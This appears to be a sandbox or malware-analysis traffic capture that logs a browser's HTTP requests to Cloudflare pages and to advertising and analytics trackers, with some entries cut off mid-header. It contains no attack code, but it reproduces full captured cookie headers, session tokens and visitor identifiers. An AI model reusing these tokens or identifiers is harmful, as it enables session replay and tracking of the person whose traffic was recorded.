Source: global traffic	HTTP traffic detected: GET /g/collect?t=dc&aip=1&_r=3&v=1&_v=j86&tid=G-PGV1K2BN4M&cid=a8822828-d72d-47ee-8bfe-e216a11a3cfa&_u=KGDAAEADQAAAAC%7E&z=1091248884 HTTP/1.1Host: stats.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cloudflare.comX-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCLnKzQEIitPNARjBy8wBGMXYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /page-data/plans/page-data.json HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-dc035e4b-bab8-4a6d-b320-2245e692f947%22%2C%22lastActivity%22:1729259293778%2C%22hasActivity%22:true}; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Flearning%25252Faccess-management%25252Fphishing-attack%25252F%2526link%253DContact%252520sales%2526region%253DrightNav%2526.activitymap%2526.a%2526.c; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid
Source: global traffic	HTTP traffic detected: GET /component---src-components-page-page-template-tsx-d45b6e355a31d828fc9b.js HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-dc035e4b-bab8-4a6d-b320-2245e692f947%22%2C%22lastActivity%22:1729259293778%2C%22hasActivity%22:true}; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Flearning%25252Faccess-management%25252Fphishing-attack%25252F%2526link%253DContact%252520sales%2526region%253DrightNav%2526.activitymap%2526.a%2526.c; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0;
Source: global traffic	HTTP traffic detected: GET /ipv?_biz_r=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&_biz_h=-1777624096&_biz_u=1f89ada7504445dddeb1bdf0ffe279ea&_biz_l=https%3A%2F%2Fwww.cloudflare.com%2Fplans%2Fenterprise%2Fcontact%2F&_biz_t=1729259297878&_biz_i=Contact%20Enterprise%20Sales%20%7C%20Speak%20to%20an%20Expert%20%7C%20Cloudflare&_biz_n=3&rnd=550648&cdn_o=a&_biz_z=1729259297881 HTTP/1.1Host: cdn.bizible.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _BUID=1f89ada7504445dddeb1bdf0ffe279ea
Source: global traffic	HTTP traffic detected: GET /api/v1/marketo/form/4116 HTTP/1.1Host: api.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Flearning%25252Faccess-management%25252Fphishing-attack%25252F%2526link%253DContact%252520sales%2526region%253DrightNav%2526.activitymap%2526.a%2526.c; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mbox=session#59028572615554561702300982760543860491-cAgcPi#1729261155; mboxEdgeCluster=37; _uetvid=9e9265008d5711ef86d8793cb6a7df8
Source: global traffic	HTTP traffic detected: GET /ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=68ead7b5-db09-463f-9755-17e404c8f8de HTTP/1.1Host: edge.adobedc.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=c4dd6c70-c5f1-445e-b8c7-4992a24ac1a1 HTTP/1.1Host: edge.adobedc.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/z/t HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-dc035e4b-bab8-4a6d-b320-2245e692f947%22%2C%22lastActivity%22:1729259293778%2C%22hasActivity%22:true}; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Flearning%25252Faccess-management%25252Fphishing-attack%25252F%2526link%253DContact%252520sales%2526region%253DrightNav%2526.activitymap%2526.a%2526.c; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%
Source: global traffic	HTTP traffic detected: GET /u?mapType=mkto&mapValue=id%3A713-XSC-918%26token%3A_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b&_biz_u=1f89ada7504445dddeb1bdf0ffe279ea&_biz_l=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&_biz_t=1729259293931&_biz_i=What%20is%20a%20phishing%20attack%3F%20%7C%20Cloudflare&_biz_n=2&rnd=601476&cdn_o=a&_biz_z=1729259295827 HTTP/1.1Host: cdn.bizible.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _BUID=1f89ada7504445dddeb1bdf0ffe279ea
Source: global traffic	HTTP traffic detected: GET /ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=d25cea7a-aeac-4159-96a2-69dc33153c7c HTTP/1.1Host: edge.adobedc.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ipv?_biz_r=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&_biz_h=-1777624096&_biz_u=1f89ada7504445dddeb1bdf0ffe279ea&_biz_l=https%3A%2F%2Fwww.cloudflare.com%2Fplans%2Fenterprise%2Fcontact%2F&_biz_t=1729259297878&_biz_i=Contact%20Enterprise%20Sales%20%7C%20Speak%20to%20an%20Expert%20%7C%20Cloudflare&_biz_n=3&rnd=550648&cdn_o=a&_biz_z=1729259297881 HTTP/1.1Host: cdn.bizible.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _BUID=1f89ada7504445dddeb1bdf0ffe279ea
Source: global traffic	HTTP traffic detected: GET /ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=11759f4f-66d4-4dbe-ad60-429f4ce33282 HTTP/1.1Host: edge.adobedc.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /page-data/under-attack-hotline/page-data.json HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.cloudflare.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: application/signed-exchange;v=b3;q=0.7,/;q=0.8Purpose: prefetchSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/plans/enterprise/contact/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Flearning%25252Faccess-management%25252Fphishing-attack%25252F%2526link%253DContact%252520sales%2526region%253DrightNav%2526.activitymap%2526.a%2526.c; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2
Source: global traffic	HTTP traffic detected: GET /ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=94b4a761-f4a2-4dcf-98aa-af07307fbed6 HTTP/1.1Host: edge.adobedc.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cable?wv=9&token=37pXYrro6wCZbsU7&vu=c1910c9b-f2a2-4705-8fc0-5ba97f36ebbe&wu=e94968ef-2552-4e4d-90d8-70a75875c7ad&ca=2024-10-18T13%3A48%3A12.870Z&tz=America%2FNew_York&bis=5&referrer=https%3A%2F%2Fbookingadocel.com%2F&pv=1&fv=2024-10-18-65af8c0735&iml=false&ic=false HTTP/1.1Host: ws6.qualified.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://www.cloudflare.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Sec-WebSocket-Key: ouI7GbOKBJmy65bdIN96oQ==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bitsSec-WebSocket-Protocol: actioncable-v1-json, actioncable-unsupported
Source: global traffic	HTTP traffic detected: GET /page-data/under-attack-hotline/page-data.json HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/plans/enterprise/contact/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; 